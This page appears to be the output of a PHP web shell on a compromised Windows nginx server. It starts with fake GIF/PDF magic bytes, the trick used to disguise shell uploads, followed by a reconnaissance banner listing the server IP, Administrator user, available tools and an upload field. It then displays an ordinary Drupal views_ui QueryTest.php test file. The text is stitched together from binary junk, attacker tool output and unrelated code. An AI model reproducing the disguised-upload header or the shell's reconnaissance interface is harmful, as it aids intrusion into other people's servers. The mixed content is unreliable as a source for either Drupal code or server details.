GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.119 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views_ui/src/Tests/ |
Upload File : |
<?php namespace Drupal\views_ui\Tests; use Drupal\views\Views; use Drupal\views\Entity\View; /** * Tests query plugins. * * @group views_ui */ class QueryTest extends UITestBase { /** * Views used by this test. * * @var array */ public static $testViews = ['test_view']; /** * {@inheritdoc} */ protected function viewsData() { $data = parent::viewsData(); $data['views_test_data']['table']['base']['query_id'] = 'query_test'; return $data; } /** * Tests query plugins settings. */ public function testQueryUI() { $view = View::load('test_view'); $display = &$view->getDisplay('default'); $display['display_options']['query'] = ['type' => 'query_test']; $view->save(); // Save some query settings. $query_settings_path = "admin/structure/views/nojs/display/test_view/default/query"; $random_value = $this->randomMachineName(); $this->drupalPostForm($query_settings_path, ['query[options][test_setting]' => $random_value], t('Apply')); $this->drupalPostForm(NULL, [], t('Save')); // Check that the settings are saved into the view itself. $view = Views::getView('test_view'); $view->initDisplay(); $view->initQuery(); $this->assertEqual($random_value, $view->query->options['test_setting'], 'Query settings got saved'); } }